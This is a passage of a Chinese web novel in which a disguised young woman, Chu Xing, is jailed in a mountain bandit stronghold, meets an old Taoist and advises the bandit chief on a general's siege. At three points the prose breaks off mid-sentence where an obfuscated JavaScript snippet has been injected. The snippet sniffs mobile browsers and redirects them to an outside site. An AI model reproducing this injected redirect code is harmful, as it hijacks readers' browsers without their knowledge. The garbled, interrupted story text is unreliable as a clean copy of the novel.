只要不想初暒是最远只去过晁都的村户之女,那么知晓她取下一个人的首级这事儿也不算什么,薛霁微微颔首,自语,“想做猎人,倒先把自己打包成猎物送出去了。” 晓得主子这是在夸那个小丫头,无恩心中不服,鄙夷说,“不过是个通缉犯,只杀了做投名状就成,何苦砍了头,害人家身首异处的,真是没有人性!” 高寒听他这话,犹豫了片刻还是说,“那个牛三……是女干淫完人家一家老小五口后才将其灭口的。” 无恩目瞪口呆,“五口全部?” 高寒:“嗯,行为及其恶劣,不然那么多通缉犯中为何就他的赏金最高。” “真是丧尽天良、禽兽不如,剁碎了喂狗都不解恨!”无恩忿忿小声骂完,忽然想起什么似的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888114|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢喃,“啧…那牛三男女通吃,也不知初暒有没有被占了便宜……” 高寒偷偷瞥了薛霁一眼不敢接话,想了想,才问,“主子,有土匪提头下山领赏,这是说初暒已经混进虔来山土匪窝了,就凭她那有仇必报的性子,若知晓此番是慕峰青带兵剿匪,保不齐会惹出什么祸来,而且那土匪窝里除了三教九流还有藏在暗处的南夷人,她再如何彪悍也只是个女子,要不还是让属下派人上山盯着点儿吧。” 他这话有理,无恩难得同意。 虽然扮着男装,但小丫头只是个小丫头,她长这么大除了父亲和兄长,甭说和男人同吃同住,就连男人的手恐怕都没有摸过,若真在男人堆里暴露了身份,那可不是靠大声呼救就能在山里得到救助的。 无恩也想开腔替初暒说情,可还没开口,就见主子思忖后平静说,“她若是在小小虔来山都站不住脚跟,那便是本王看走了眼。” 薛霁一抬手,无恩立即将架上的笔取下,他接过笔,一边低头写着什么,一边漫不经心询问,“慕峰青这几日在做什么?” 高寒:“领完赏没多久,慕将军就将从映月关带回来的兵调回了文州城,他想是不放心别人,自接旨后就一直在清点兵部给的兵,不过两千余人来来回回数了好几遍,直到出兵虔来山的告示贴出后,他才开始在城外整队操练。” “晁都大小兵士皆耳闻慕峰青盛名已久,这回能跟着本人收拾土匪,怕是各个都想在他面前打出个名堂,只不过盛名归盛名,若真有那不服不甘的刺头,也不晓得我们慕小将军能不能让他们心服口服。” 映月关一战二千精兵就将北漠数万人打的连连退却,慕峰青的本事哪个中北男儿不想亲眼见识,只不过他刚回都时,曾被小小奸细刺中伤得好几个月都不曾出府,此事被赵无祸宣扬诟病许久,听说过的人也不在少数,要是不巧在晁都军中有那么几个,闹出点动静也正好给初暒在虔来山立足争取一些时间。 “属下明白。”高寒颔首又道,“属下还听在城外盯守的兄弟说,被诓去宣威军的那位已经折返,近几日似乎就要进都了……” 薛霁手中的笔没停,唇角却似有若无的勾了一下,“那让安插在协助安南书院重建队伍里的人慢慢撤了吧。” “是。” 写完最后一笔,薛霁将案上纸页抚平卷好交给无恩,又问高寒,“你方才说出兵虔来山的告示已经贴出,那贴在安南县衙门口的告示是否还在?” 高寒回想片刻,摇头,“好似被那位领了赏金的土匪随手揣走了。” —— 随手揣走告示的姜九,空手闯进忠义堂后猛灌了口茶水,而后气呼呼的翘腿坐在初小哥旁边,那眼中的怒火不言而喻。 忠义堂门大开,威虎寨众人见他这架势心中都有了猜测,其中只有楚六不怒反笑,他挣开伍二的束缚,穿过挤在自己面前的兄弟们来到初小哥面前,幸灾乐祸道,“大当家的,果然被我说中了吧,姜九空手回来的,这杂碎口中没一句实话,不如就将他交给我处置,我定会让他晓得什么才是真正的‘满嘴喷粪’!” 看到大当家的脸上也有被戏耍的愤怒,姜九连忙说,“我没有空手,赏金领回来就套在外头的马脖子上呢,我气是因为县衙那帮狗官!他奶奶的腿,说好赏金二百两的,结果层层揩油,到我手上就只剩一百多两了!” 楚六听见这话,脸立刻拉得老长,可有人见真领着钱,高兴说,“这苍蝇腿再小也是肉,咱白拿钱不兴嫌少的呀!” 齐威虎终于哈哈大笑起来,“这还是多亏咱们初兄弟啊!速速着人下山采买,今夜需得开酒设宴,好好谢过初兄弟。” 提头领赏本是意料之中的事,初小哥脸上并无什么波澜,她只看着姜九怀中褡裢露出的衣角黄麻纸一角问,“你兜里揣的是什么?” “哦这个。”姜九将告示掏出来,“这是安南县衙新贴的告示,我等了半天都不见有人来读,只好揭了带回来。” 楚六从他手中抢过,出气骂道,“你个蠢货,咱都不识字,你带回来又有谁能看懂!” 他将手中的告示拿了个颠倒,初小哥借着他的手,看清那告示上的字后蹙眉说,“要带兵剿匪虔来山的是……慕峰青。” 66. 山牢 中北百姓虽然常常辱骂北漠、南夷大字不识,都是未开化的野人,可中北也并非人人都上过学堂、请过先生,尤其是这些年纪不大时就因犯了事或是实在走投无路才上山落草的土匪喽啰们,他们原先要想知晓城里的动静,须得下山混在围着县衙告示栏的百姓中听官差们高声宣读告示,或是挤在人堆里问人家识字的那上面写的什么东西,获取官府情报消息十分费时费力。 原先的二当家好不容易招揽到一位识字的好汉,却又遭了那档子事……让威虎寨一下子缺了只千里眼,不论做什么都比旁的山寨慢几步。 此时他们见这位文质彬彬像是识字的初小哥说出告示上的内容,眼睛一下子泛起光来,齐威虎问,“初兄弟识字?” 初小哥点了点头,顺势从楚六手中接过告示,“这上面说朝廷不日就要派慕峰青率兵来虔来山剿匪了。” 姜九食指抵着太阳穴‘那个’了好几声,“那个……慕峰青这名字怎的听起来这么耳熟?” “慕峰青?是不是那个仅率两千精兵就将北漠数十万大军打的屁滚尿流退回老家的征北大将慕峰青?!” 楚六听见此人名号兴奋不已,站在他旁边一直久不作声的伍二颔首,道,“是他。” 方才拍门报信的小子听伍二都说那位要来虔来山的确实是慕大将军,也高兴极了,他小狗似的围着齐威虎,“年前就听说‘慕将军率两千精兵死守映月关,全歼敌军狡攻主力,击退北漠驻边境残营’可那时迎军的人多,小的没挤进去,这回慕将军要来咱家门口了,大当家的,小的想下山去看看热闹!” 齐威虎略一思忖,“这告示才贴出来,还不知慕将军在何处驻军呢,你上哪儿看热闹去?” “也是哦。” 小喽啰回过神来有点失落,可眼中的热情却丝毫未减,初小哥不可思议的看着这些面露崇敬与喜悦的好像慕峰青不是来打他们的土匪,疑惑,“朝廷派兵来虔来山剿匪,诸位为何不赶紧收拾行囊逃命也不收拾家伙商量应对,甚至还要跑下山看热闹?” 初小哥这副神情,一看就晓得他对虔来山一无所知,齐大当家的心里稍稍放松下来,笑道,“初兄弟你有所不知,这朝廷年年都说要收拾虔来山,可年年也都只是说说而已,只因这条山脉贯穿中北大地,连绵不绝,其中的层林叠嶂甭说那些酒囊饭袋似的官差,就是我们这些常年混迹在山中的人都摸不准这山里哪些是能将心放在肚子里走的路,故而只要我们不下去,外面的人就打不上来,有甚好怕的。” “可这次来的是慕峰青。”初小哥眼中闪过一丝鄙夷,但很快掩去了,“那位怎么说也算是朝廷新贵,派他过来,若他不对虔来山做点什么,不就闪了朝廷的脸面么,我劝诸位这回莫要大意,别同那‘狼来了’里的小童一般,被狼吃了。” 这话说的诚心实意,大当家心中也有了考量,他预备开口与众人商议对策就听初小哥拱手又道,“既然牛三首级赏金已顺利取回,那小弟我也算是给贵山寨掏了笔买路钱,小弟是被人套了麻袋扛回来的,眼下不知需要劳烦哪位大哥将我蒙眼送下山?” 看他执意要走,齐威虎还想出言挽留,余光却瞧见伍二朝自己微微摇了摇头。 确实,生意没有上赶着做的,他顿了片刻还是说,“本以为我与初兄弟投缘,望你在我这威虎寨里委身做个当家,不想初兄弟少年英雄、心怀远志,既如此,那我也不再纠缠,来人,恭敬送初兄弟下山罢。” 寨子里好不容易来了个识文断字还长得俊的,除了从读完告示的初小哥手中重新取回告示横看竖看也不认识那上面写着什么的楚六脸上有些纠结,其他人都有些不情愿揽下这个差事。 众人还在面面相觑,彼此用眼睛说‘你去我不去,我不去他去’,这时,向来冷脸话少的伍二破天荒的主动从人群中走出,对大当家说,“是。” 齐大当家的对伍二点了点头后,又同初小哥客套几句,目送二人大跨步出了忠义堂,心中的惋惜与不舍之词还未酝酿出来,就又听一道由远及近的惊恐‘报’声从山寨外头骤然响起。 “成日慌慌张张的成何体统!”见识了人家初小兄弟遇事的波澜不惊,齐威虎瞧着自己家的小子们越发的恨铁不成钢,“发生何事了?” 穿过挤在忠义堂还未散开的兄弟们,小喽啰扑通一下扑在地上,“不好啦大当家的!小的下山预备去采买时发现虔来山底咱下山的必经之路忽然埋伏了许多把点(侦缉人员),小的悄悄摸近瞧了,那些人举止行迹八成都是鹰爪孙(官府的人)!” 齐威虎:“大概多少人?” “他们在林中分布的十分松散,能看见的人数不多,但小的从山底沿路摸回来数也将近有百人了。” 这么大阵仗? 齐威虎心头一跳,暗想:该不会真叫那姓初的说中,朝廷这回要来真的了? “我就说那个小白脸有问题!怎么牛三的人头才刚送到衙门,官府就派出百人在虔来山埋伏,大当家的,事不宜迟,趁那姓初小子还没跑出山寨门速速给他逮起来审问,要是真有个万一,他在咱们手上也算是筹码啊!” 齐威虎略一思忖,朝他摆摆手,楚六领命后立即带一队人追了出去。 而自那位着急忙慌从外面回来报信的喽啰拉车从初小哥身旁经过时,初小哥就挎着包袱立在原地候着了。 伍二见他这样,不由问,“你知道我那兄弟要通报之事与你有关?” 初小哥答,“他神色慌张想来要通报的也不会是什么好事,这威虎寨今日就只出现过我这么一张生面孔,不论与我有没有关系,都与我有关,费力往外多走几步,待会儿还得再走回来,我嫌麻烦,就站这儿等着吧……” 他俩说完没一会儿,伍二就见楚六领着姜九和几个人怒冲冲朝此处小跑过来,伍二挡在初小哥身前问,“你们这是做甚?” “一边儿去,这儿没你事。” 楚六将伍二推开,向身侧两人一甩手,见初小哥手中包袱与他本人都被擒住后,恨恨说,“鹰爪孙已经埋伏在山下,你果真是朝廷派来打探的奸细,姜九,将他押进后山大牢严加看管!没有我和大当家的吩咐,任何人不许靠近!” “是!” 双手被人不知轻重的反手锢住,初小哥疼的倒抽一口凉气,楚六看他这样,心中畅快极了,冷笑,“在别人的地盘如此嚣张,老子还当你刀枪不入有九条命呢,原来竟也跟人似的怕疼!” 初小哥呛声说,“我还当威虎寨二当家的位置十分难坐呢,原来竟连你这样的脑子都能惦记。” “你这话什么意思?” 初小哥鄙夷看了他一眼不说话,楚六听出他话中有话,急了,再问一句,“我这脑子怎么了,你说清楚!” 楚六挡在初小哥面前,好似他不说话就要在这里僵持一生似的,初小哥无奈道,“你方才说‘鹰爪孙已经埋伏在山下’,我且问你,要是朝廷真光天白日的派人在虔来山埋伏意欲攻山,他们的脑子是不是被驴踢了才能让你们一个采买喽啰发现?” 是啊! 听郑四说,沿路的把点有一百人之多,要真是攻山,官府如何会一下子暴露这么多人? “你的意思是……” “哎哎,我可没什么意思。”初小哥打断他,“你们山寨的事倒不必与我这个外人交代,我可管不着。” 这厮不愿多言,楚六心中更犯起嘀咕,他挥手道了一声“带走”,看小弟们押着那小子走远后立刻转身往忠义堂跑去。 所谓后山大牢,就是在后山一处山洞里支起一扇铁门,铁门将太阳能照到的地方锁在外面,于是里面就成了大牢。 山洞不大,仍硬生生隔出了两个单间。 初小哥被喽啰用力甩进其中一间时,因满地的干草与石块无处下脚,左脚犹豫时让右脚拌了一下,所幸他反应快,手掌及时撑住用来做隔断的铁栅栏才没有跌跟头。 只是这大牢里的铁门似乎年份久了,稍一触碰就锈得掉渣,初小哥使着暗劲儿,只等押他进来的喽啰走了,才将快要倾倒的铁门扶住放倒。 没了隔断,牢里总算宽敞一些,初小哥在里面摸摸看看,想寻一处能坐的地方,可这山洞面壁潮湿,待久了还有些渗人的寒意,他想了想还是觉得坐在铁门边好,多少还能晒着点儿太阳,于是抬脚就往外走。 但刚走两步,脚下干草堆里忽的传出一声闷哼,初小哥连忙从那声音发出的位置跳开,贴着门屏息观察四周,好一会儿后才瞧见从那堆干草里窸窸窣窣坐起来一个满头华发的男子。 男子背对着初小哥坐起,直到他眯着惺忪睡眼从把干草整齐堆好转过身来,初小哥才发现这男子或者说这老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888115|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汉在何处见过。 “啊……啊……” 老汉许是不会说话,一激动,张开嘴只能发出啊啊声。 初小哥见他指着自己满眼惊恐与困惑,点头与他解释,“我是人,方才刚被那群土匪抓来丢进牢里的,老道士,您别怕我不是鬼。” 那老汉低头打量着自己满身浑浊脏污已看不出原状的道袍,口齿不清道,“慈悲慈悲,你…怎知…我是道…士?” 初小哥难得和颜悦色,“我观您深陷此境,仍是满目平静安宁、不拘小节,身上有此清新脱俗之气,想必是修炼已久的修道之人,故而斗胆称呼您道士,也不知猜得对也不对。” 这番说辞像是夸到了老道心坎上,只见这老道士浑黄的眼珠都笑得眯起来,“很对……很对,信士…们都称贫道为……知命先…生。” “晚辈见过知命先生。”初小哥佯装初次见他,微微行了个道家礼后,又问,“我瞧这儿的人也不像是有信道的,您修道如何修到了这虔来山土匪窝里呢?” 这话倒问的知命脸色瞬间拉垮下来,他摆摆手一副一言难尽的模样,显然不想多谈,恰巧这时他刚醒过来的肠胃叫嚣着插嘴,初小哥本想从包袱里掏点干粮给他,刚一伸手才想起自己的包袱早被土匪喽啰搜走,只能抱歉的对那老道笑笑。 知命也不在意,抬手从才睡过的干草里摸出一块已经发出青霉的馍馍,也不谦让的兀自啃起来,看他这幅习以为常的模样,估计已经在此处关了许久了。 手中馍馍三两口就下了肚,知命吃饱睡足后闲来无事,爬到初小哥身边直勾勾盯着他的脸,似乎想从他这张白净的小脸上看出点什么。 初小哥眼见这老道盯着自己骨骼眉眼仔仔细细看了好一会儿,越看眼中的疑惑与不解就越深,直到他用那双满是黑黢泥垢的枯干老手握住自己的右手时,初小哥才轻轻将他的手推开,道,“知命先生,莫要将您的本事使在我身上,我不信那些。” 知命也不强求,他点点头收回手,不知给谁掐指捏算完,也同初小哥一样靠在满是铁锈的铁门上,晌午的阳光洒下落在他俩靠在一起的肩膀,那光芒刺透了山洞里的寒意与潮湿,初小哥偏头看向来人时,没有瞧见知命眼中的平静与超脱。 晌午时分,威虎寨正是用饭的时候。 姜九踢踢踏踏的走来,把一个不知是从谁手上抢的竹编食盒撂在地上后转身就走,食盒没有贴着铁门放置,初小哥伸着胳膊废了大劲儿才将其勾回来,盒中的饭与各种荤素菜搅和在一起,像是从泔水桶里挖出来,不过闻着没有什么馊味,估摸是方才土匪们刚吃剩下的。 初小哥捧着碗礼让知命再吃些,知命却嫌弃的朝他摇头,然后眼睁睁盯着这个看起来十分讲究的小伙子十分不讲究的端起土匪的剩饭张口就吃。 一般来说,被关进牢里失去自由的人起先可能会为身陷糟糕的囚牢环境或辱骂或求饶,而后又会因为诸事不便崩溃呼喊,最后则会认命的自暴自弃,沦为牢狱角落里一滩会喘气的肉团,就像初小哥头一天进来时看到的窝在干草里睡觉的知命老道。 可是姜九接连两日晌午来此处送饭时,发现那位初姓小哥总是神情淡然的盘腿坐在铁门旁,衣衫整洁、面容干净,好似没人关着他,他只是自己想在那儿盘腿打坐、修身养性的。 姜九长这么大从未见过这样不把他们后山大牢当回事儿的票子(人质),一时好奇,终于在第三日晌午蹲在铁门边问出一句,“你每日‘光进不出’,身上咋都没味呢?” 初小哥闭目养神中抽空回他,“往些年讨生活时,十天半月不挪窝也是常有的事,这才被你们关了几日,能有什么味。” “你讨得什么生活,十天半月都不挪窝啊?” “刀尖舔血,生死存亡。” “你胡说什么。”姜九哈哈一笑,“我在威虎寨是老末,你瞧着还没我大呢,舔什么血,存什么亡?话本子看多了吧你!” 他在笑,初小哥也笑问,“你猜猜昨夜牛三的脑袋是谁递到你手里的。” 这话让姜九笑不出来了,滴着血死不瞑目的人头好似还在手中,他在晌午大太阳里冒出了一身冷汗。 这小子让他觉得有些瘆得慌,姜九起身想走,偏头竟瞧见伍二大哥面色沉重的朝此处走来,说—— “大当家的要见他。” 67. 推心 第一次光明正大的走在威虎寨中,初小哥忽略沿路盯着自己打量的众多土匪喽啰,只看向走在前面带路的伍二。 这个叫伍二的汉子寡言少语,腰间常挎一把骇人宝刀,长得高大威猛,目光沉稳锐利,人中与下巴处蓄着胡须,整个人或许是因为这些胡须才显得更加成熟稳重,初小哥只与他打过几次照面,却不知怎的总觉得他有些面熟,先前听楚六与他闲聊时曾说,他来威虎寨不过几个月…… 几个月而已,也不知那齐大当家的为何瞧着如此信任他。 再一次被请进忠义堂,初小哥的神情比上一回还要坦然许多。 伍二将人带到后识相的退至一旁静候吩咐,在堂内等了好一会儿的齐威虎见初小哥进来,立即起身迎过去,惭愧同他解释,“初兄弟,这几日让你受委屈了,实在是那日的消息来的太过突然,我上下照应着这威虎寨几十兄弟的性命所以不得不小心行事,若你心中还是有气,那就统统往我这个做大当家的身上发,我齐威虎绝无二话,只是……如今山外情况不明,为了你我安危着想,还请初兄弟莫要再提送你下山这话了。” 初小哥亦规矩客气回他,“我刚进虔来山不久,山下就有官兵埋伏,大当家怀疑我的来路是人之常情,我并不觉得委屈,再者,山底下净是官兵,我身上又背着几条人命,若此时您真要放我下山,我恐怕还得求您再多留我一些时日避避风头呢。” 被关了几天,他说的话倒叫人听着舒心了,齐威虎大笑两声端起桌上早就备好的茶水,递过去,笑道,“初兄弟年纪虽小,可是气量却大,我果真没有看错人,今日咱们以茶代酒,饮过此杯之后,往日前嫌皆既往不咎,你看如何?” 预备茶水时不经自己过目,万一被人加了‘料’也未可知,可初小哥并没有犹豫片刻,接过齐威虎手中茶杯便仰头一饮而尽,齐大当家的见他此举心中十分感动,也豪爽的一口饮完杯中茶水。 一旁站立许久的楚六等人见自己的大当家与那个不知天高地厚的小子这般交好,心中纵有万般不悦,也只是撇了撇嘴没有多说什么。 喝完杯中茶,齐威虎抬手示意初小哥入座,两人侧身相对时,初小哥注意到大当家泛着黑印的眼圈,便问,“几日不见大当家的为何瞧着如此憔悴,可是埋伏在虔来山底的官兵有什么大动作了?” 齐威虎未语先唉声叹了口气,道,“初兄弟先前点拨楚六说,朝廷光天白日的在虔来山埋伏,还被采买喽啰发现,就好似是故意让我们看见似的,我这几日派人盯着他们,确实发现这些官兵除了埋伏也并无其他举动,我本以为这不过是官府们新一年的把戏,给朝廷做做样子就完事了,可这都三日了,想翻山的商队上不来,我们采买日需的兄弟也下不去,要是再搞不到粮食,这寨子里数十张嘴就只能在山里与兽争食,真真是急死个人了。” 初小哥问,“威虎寨这么大的寨子竟没有存粮吗?” “初兄弟没有听过中北人都晓得的这句‘鱼跃龙门乞攀山,越过虔来变钱仙’么?”齐威虎谈及此事,语气里有难以掩饰的得意,“虔来山一脉连接晁都与边疆城池,往来商队与镖行要想做通这南北两边的生意,就须得从这虔来山内里穿过,他们自然明白这山中有我们这些拦路大王,不过他们心里更清楚即使没有土匪,山外面也有惦记他们钱货人马的老荣(小偷)贼子,与其被连名号都没有的贼哄抢害命,还不如花钱买份平安,故而山寨子要是能在虔来山有个响当当的名号,过往的商户便会心甘情愿的将银钱恭敬奉上,哪里需要贮备什么粮食这些就在家门口的东西。” “我常听外面人说,虔来山是中北有名的土匪窝,这不是说除了威虎寨,这山里还有其他土匪山寨,既然我们没有粮食,为何不着人去其他寨子里调配些,等安稳度过山下官兵做样子的日子再全数还回?” “外面人说是‘窝’,只因他们觉得天下土匪是一家,可在这广而深的虔来山脉中,分布着大大小小十数家寨子,太平时候,你我称兄道弟井水不犯河水,各做各的生意各行各的天道,可要是真遇着什么事,我们这群人狠起来可是眼睛都不眨一下,那句话怎么说的……非我族类,其心必诛,别说调配粮食,就是你好好在自己家坐着,都会有嚣张惯了的上门骚扰强取强要。” 初小哥看了一眼站在忠义堂里的众多汉子,不解,“既然别的寨子敢黑吃黑,我瞧威虎寨诸位好汉也不像是吃素的,大当家的为何不命人先下手为强?” “干咱们这个行当的要想在这绿林里讨生活,第一要务就是有人,毕竟有了人才能立的起门户,第二么便是要有家伙事儿,手里有了这两样,领头的再勇猛些,周边的小寨子一眼看过去觉得自己惹不起,往后也就不会再来招惹。”齐威虎低头握着空茶杯,斟酌再三还是与初小哥交了底,“说起这个也不怕初兄弟笑话……前些时候我山寨中的二当家因听信谗言,领手底下人去做了一笔不大见得光的生意,我本以为是件小事,却没想到他竟连同手下一队兄弟全都丢了性命,威虎寨一下没了那么多得力人手、马匹器械不说,消息传出去又叫其他山寨讥讽嘲笑许久,如今我威虎寨人丁单薄,如何做得先下手为强。” 初小哥默默听完,不动声色又问,“二当家吃的那一亏,大当家的就没想过领着人去给他报仇?” “报仇?报什么仇?自古有哪家好汉发财发到读书人身上了?带着刀剑跟人家还在念书的娃娃打仗,没打过悄悄回来当无事发生过也就罢了,犟的非要灭人书院满门,不想反倒被一群孩子给连锅端,我那二兄弟也不知被什么鬼迷了心窍,竟能做出这样的蠢事,甭说给他报仇,就是此时提起这事我都嫌丢人!” 齐威虎越说越来气,“费死劲儿招揽来的那些仗义兄弟和趁手家伙一夜间全没了,威虎寨在虔来山好不容易站稳的脚跟我瞧也快不稳了……” 齐大当家的还在愤慨,堂外又是一道由远及近的惊恐‘报’声骤然响起,他再没余力嚷骂,只捏着眉心无奈问,“又怎么了?” 还是昨日报信的采买小哥,初小哥瞧他面上的慌张中比昨日多了些委屈与怒气,左边脸颊也红肿着鼓了个包,像是被人打了一拳似的。 “回大当家的,豹子山的欺人太甚,小的们冒险从小路摸下去在城边买了些救命的粮食,刚躲过把点(侦缉人员)悄悄运上山,谁知就在离咱家门口不远那处山沟,赖豹那个狗娘养的就领了一伙人窜出来将粮车抢了,小的们不服,拼命与他争夺,却苦于人少力薄,不仅没有抢过还被他们擒住狠狠打了一顿,大当家的,小的们受些凌辱不打紧,可是咱们威虎寨若遭人欺负还不还手,再过几日恐怕这虔来山里谁人都能将咱踩上几脚了!” 兄弟被欺负,楚六终于按捺不住上前一步,“大当家的,虔来山底虽说有把点埋伏,可此处四通八达总有不晓得朝廷剿匪消息的‘散户’穿山而过,昨日小的本来带着几个兄弟在那山谷边踩盘子(事先侦察要劫的对象),大热天的在草窝里猫了好几个时辰可算遇着两位穿戴不凡的‘肥羊’,刚跳出去吆喝,还是那豹子山的赖豹,他倏地从小的背后窜出来,硬是仗着人多气盛,当着我们几个兄弟的面将‘肥羊’掳走了,小的心里憋屈,可又想起咱们山寨这些时日不景气,多一事不如少一事故而也就没跟您提过这事儿,哪知道这豹子山昨日只是抢山中生意,今日竟胆敢将手伸到咱们威虎寨的裤兜里,还跟吃了熊心豹子胆似的欺辱咱的兄弟,大当家的啊这口气要是再不出,我楚六非得憋出个好歹不成!” 手下弟兄一个接一个诉说委屈,齐威虎脸色黑沉,握着茶杯的手一用力,那盏白底蓝花瓷杯便粉身碎骨在他的手心。 “越着急越不能心急,大当家的这会儿还是保重身体为要。” 少年的声音低沉悦耳,好似老天爷在混沌的天地间投下了一缕明亮光芒,掌心的瓷片有的镶进了肉里,从中挤压出几滴血色珠粒,恍若那晚从那只平整的脖颈切面下滑落在地的血珠子。 看手下兄弟连忙跑来为自己清理手心瓷片,齐威虎顾不得他们也顾不得掌中刺痛,只看着初小哥,肃然问,“初兄弟,那日你仅凭楚六一句‘鹰爪孙已经埋伏在山下’,就推测出朝廷不会攻山,而这几日山下官兵也如你所说一直按兵不动,我们这帮粗人虽然不懂什么大道理,但也明白你说的朝廷此次特派才立了战功的慕峰青带兵过来,不可能啥都不干,我已将威虎寨的老底都透露给你,你实话与我说,你是不是早看出上面要使什么法子对付我们虔来山?” 楚六有些糊涂,“大当家的,你不问他如何对付在家门口欺负咱们的豹子山,提那些远在山底窝着的鹰爪孙作甚?这虔来山这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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初小哥伸手在才续上的茶水里搅和一下,而后用指尖在案几上轻点了数十水滴,道,“大当家方才说这几日派人盯着山下官兵,确实发现这些官兵除了埋伏也并无其他举动,但我猜想埋伏在土匪们往来的必经之路上就是他们的举动。” 齐威虎:“这是何意?” “如大当家所言‘朝廷光天白日的在虔来山埋伏,还被采买喽啰发现,就好似是故意让我们看见似的’,既然我们能看见,那么别的山寨喽啰也能看见,既然我们见着官兵不敢轻举妄动,那么别的山寨喽啰也不敢轻举妄动,那帮官兵吃官粮在山里的草窝里猫多少天无所谓,可在这山里过日子的人不行,十天半个月还能与兽夺食,可要是十月半载,那便只能啃树吃皮了。” 楚六不屑道,“若被那帮鹰爪孙逼到绝处,你怎知虔来山里不会有好汉与他们拼死一搏?要真到鱼死网破之时,我不信哪一家的还肯事不关己高高挂起!” 初小哥冷眼看他,“且不论要真到鱼死网破之时,是鱼受罪还是网受罪,我只问你若真被那帮鹰爪孙逼到绝处,你猜虔来山的好汉们是愿意豁出性命与朝廷作对,还是先捆了山大王里叫得出名号的下山以功免罪?” 落草为寇还能说是为了劫富济贫、替天行道,可要是与朝廷分成敌我两派那可真变成背信弃义、乱臣贼子了。 楚六支支吾吾答不出来,齐威虎深思后颔首,“初兄弟说的有理,楚六你切莫再在此插话!” 被那小子当众顶了两次还是无力反驳,楚六退下后闷闷应了一声。 顺着初兄弟的视线,齐威虎也将目光投向散在案几上的水滴,又听他说,“大家都知道山下有兵出不去,再这么僵持迟早要完蛋,于是有能耐的便将眼睛瞄向了身边没有能耐的,弱肉强食说的就是这个意思。” 初小哥用指尖将案几的水滴挨个串联起来,最终那些散落的水滴汇聚成一整个水滩,“等到虔来山里的小的被大的吃了,大的再开始自相残杀,你死我活,在山底等候多时的人便可以将其一网打尽,也算省去翻山钻林的功夫了。” 这话让齐威虎后脊一凉,默了好一会儿,才道,“人无伤虎意,虎有害人心,豹子山那边相必早有人指点了。” 候在一旁的喽啰们听见也都有些慌,一时间‘哪怕咱们人少也须得跟他们拼了!’‘就是我威虎寨的汉子也都不是被吓大的,跟他们干!’之声不绝于耳。 齐威虎正在这些铿锵言语中考虑对策,忽见身旁少年目视自己,笃定说,“谋思远虑,先解近忧,若大当家信得过我,我愿带着几个兄弟为威虎寨报抢‘肉’之仇,解伤人之恨,但……在此之前,需得大当家的应许我个条件。” 68. 口粮 山中多蚊虫,尤其雷雨过后,树林草窝里处处都蹦跶着叫不出名字的怪样飞虫,这些伤不着人性命的小玩意儿循着人身上的热度从裤脚衣领爬进去,越钻越深,直到趴在地上的人扭着身子都抓不着时才没了踪迹。 “啪!” 王羌曹朝趴在前头的兄弟屁股拍了一掌,低声呵斥,“瞎蛄蛹什么?” 前面那人回过头委屈道,“头儿,有虫儿钻在大腿根咬我,痒得很,我寻思挠挠来着。” “挠着了没?” “唔……扭得时候好像夹死了……” “不痒了就继续好好盯着,难得在慕将军手下办事,都机灵些。” 这一片盯守的几位衙役都低低答了声是。 他们连着在虔来山年底猫了好几日,除过刚开始那日见过几队或拉车或巡守的土匪喽啰外,就再没在这山里见过一个活人了,成天对着满目的绿草灰树顺带给蚊虫当血包,就算跟着办差的是个补天的大英雄,这些人心里也难免生出抱怨之意。 王羌曹手下一位胆大的见都护军离他们老远,这会儿又正是午后大家伙儿困顿的时候,扭头对王羌曹噗呲两声,小声问,“头儿,虔来山又不是咱的地界,我听说兵部都从都护司拨了两千军给慕将军了,怎的上面还让咱安南县衙出人遭这份罪啊?” “安南山紧挨着虔来山,仅凭这一点安南县衙就没法推辞上面的借调,而且咱们前段时间还派人在这两座山里巡逻勘察过,怎么说都要比慕将军熟悉些,总能帮得上忙。”王羌曹警惕的扫视了一圈,见没什么动静才笑着揉了一下他的脑袋,“当初寻死觅活说想跟着慕大将军当差,怎么……这还没几天呢,就厌倦了?” “才没有!就是不明白,朝廷让剿匪,可慕将军列队操练没两天就整合队伍拉着咱们一帮人来这儿猫着,也不知他究竟想干什么。” “慕将军想干什么,哪是你这小子能猜出来的,只管干好自己分内的事,别给咱们安南县衙丢人。” 有一阵脚步声朝这边传来,王羌曹伏着脑袋向后回望,眯眼想了许久才认出走过来的人是慕峰青的亲信岑虎。 “岑副将?” “是我。”岑虎半蹲在王羌曹身边,道,“王县尉,慕将军有要事与你相商,烦请你随我走一趟。” 慕峰青此次奉命剿匪,除了有兵部给的都护军两千人、兴民城派的州府驻军五百余人,其他就是从安南县衙调配的这十几个小衙役,虽说安南山与虔来山紧挨,可安南山距离那虔来山的土匪窝地带仍十分遥远,如果不是专程走山间小路寻找,恐怕安南百姓要步履不停的走七八日才能过来。 王羌曹其实也不明白上面为何会让八竿子只挨着了一点儿边的安南县衙参与剿匪事宜,尤其是在他听说兵部尚书为了此次剿匪还举荐了幽王薛霁协助。 